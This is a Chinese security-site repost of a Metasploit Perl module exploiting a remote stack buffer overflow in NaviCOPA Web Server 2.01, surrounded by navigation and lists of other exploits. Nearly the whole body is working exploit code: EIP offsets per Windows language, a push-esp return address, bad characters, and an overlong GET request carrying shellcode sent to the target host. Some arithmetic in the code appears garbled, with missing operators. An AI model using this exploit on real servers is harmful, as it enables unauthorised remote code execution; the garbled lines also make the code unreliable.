• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链
您的位置:首页 > 网络安全 >Exploit > NaviCOPA Web Server 2.01 Remote Buffer Overflow Exploit (meta)

NaviCOPA Web Server 2.01 Remote Buffer Overflow Exploit (meta)

作者:佚名 字体:[增加 减小] 来源:互联网

佚名 向大家分享了NaviCOPA Web Server 2.01 Remote Buffer Overflow Exploit (meta) ,其中包含buffer overflow,087 buffer overflow,jsp buffer overflow,exploit,exploit是什么意思等知识点,遇到此问题的同学们可以参考下
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::naviCopa_cgi;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'Buffer Overflow in NaviCopa HTTP server 2.01 (cgi-bin)',
'Version' => '$Rev: 3818 $',
'Authors' => [ 'www.skillTube.com', ],

'Arch' => [ 'x86' ],
'OS' => [ 'win32' ],
'Priv' => 1,

'AutoOpts' => { 'EXITFUNC' => 'process' },
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'URL' => [1, 'DATA', 'The URL to the cgi-bin', '/cgi-bin/'],
'SSL' => [0, 'BOOL', 'Use SSL'],
},

'Payload' =>
{
'Space' => 900,
'BadChars' => "\x00\x26\x3d\x0a\x0d\x25\x2b\x2e\x3f",
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the NaviCopa HTTP server
2.01 (release version 6th October 2006 or earlier). It is not the
same vulnerability as the one described in BID 20250.

The vulnerability was found by a member of skillTube.com and
allows reliable code execution. The only thing that may vary
is the path to the NaviCopa installation folder. On an English
version of Windows, it resides in the c:\\program files\\navicopa
directory. In that case, eip is overwritten with char 271 to 274.

To add a new target version of Windows (e.g. Spanish, Italian etc.),
you only need to change the offset to eip. As an example, in a
German version of Windows, the installation directory of navicopa is
c:\\programme\\navicopa. As a result, the path length is four characters
shorter than on an English version of Windows. As a consequence, the
offset to eip has to be increased by four.

Exploit was successfully tested against Windows 2000, XP and
Windows Vista (regardless of ASLR).
}),

'Refs' => [
['URL', 'http://www.skilltube.com'],
],

'DefaultTarget' => 0,
'Targets' =>
[
['Universal exploit for all English versions of Windows (XP,2000,Vista)', 270, 0x1002c46f], # push esp, retn
['Universal exploit for all German versions of Windows (XP,2000,Vista)', 274, 0x1002c46f], # push esp, retn
],

'Keys' => ['naviCopa'],

'DisclosureDate' => 'March 2007',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}


sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_path = $self->GetVar('URL');
my $target_idx = $self->GetVar('TARGET');
my $shellcode =$self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

$self->PrintLine("[*] Attempting to exploit target " . $target->[0]);

my $pattern = "A"x900;
my $jmp = "\xeb\x04";

substr($pattern, $target->[1] , 4, pack('V', $target->[2])); # ret
substr($pattern, $target->[1] 42, length($jmp), $jmp);
substr($pattern, $target->[1] 44 , 4, pack('V', $target->[2])); #edx
substr($pattern, $target->[1] 48 , length($shellcode), $shellcode);

my $request =
"GET $target_path$pattern HTTP/1.1\r\n".
"Host: $target_host:$target_port\r\n\r\n";

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

$self->PrintLine("[*] Sending " .length($request) . " bytes to remote host.");
$s->Send($request);

$self->PrintLine("[*] Waiting for a response...");
my $r = $s->Recv(-1, 5);
$s->Close();

return;
}

</div>

您可能想查找下面的文章:

  • IntelliTamper 2.07/2.08 Beta 4 A HREF Remote Buffer Overflow Exploit
  • NCTsoft AudFile.dll ActiveX Control Remote Buffer Overflow Exploit
  • NaviCOPA Web Server 2.01 Remote Buffer Overflow Exploit (meta)
  • Mercury Mail 4.0.1 (LOGIN) Remote IMAP Stack Buffer Overflow Exploit
  • Download Accelerator Plus - DAP 8.x m3u File Buffer Overflow Exploit (c)
  • Download Accelerator Plus - DAP 8.6 (AniGIF.ocx) Buffer Overflow PoC

相关文章

  • Boonex Dolphin 6.1.2 Multiple Remote File Inclusion Vulnerabilities
  • Acoustica Mixcraft
  • Kaminsky DNS Cache Poisoning Flaw Exploit for Domains
  • Download Accelerator Plus - DAP 8.x (m3u) Local BOF Exploit 0day
  • pSys 0.7.0 Alpha Multiple Remote File Inclusion Vulnerability
  • Friendly Technologies (fwRemoteCfg.dll) ActiveX Remote BOF Exploit
  • Sports Clubs Web Panel 0.0.1 Remote Game Delete Exploit
  • Galatolo Web Manager 1.3a
  • BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (py)
  • Microsoft Excel Malformed Palette Record DoS PoC (MS07-002)

文章分类

  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链

最近更新的内容

    • WinRemotePC Full Lite 2008 r.2server Denial of Service Exploit
    • Pluck 4.5.1 (blogpost) Local File Inclusion Vulnerability (win only)
    • AuraCMS
    • MS Internet Explorer Recordset Double Free Memory Exploit
    • Linux Kernel
    • Mole Group Last Minute Script
    • NCTsoft AudFile.dll ActiveX Control Remote Buffer Overflow Exploit
    • HIOX Random Ad 1.3 Arbitrary Add Admin User Exploit
    • Download Accelerator Plus - DAP 8.6 (AniGIF.ocx) Buffer Overflow PoC
    • Boonex Dolphin 6.1.2 Multiple Remote File Inclusion Vulnerabilities

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有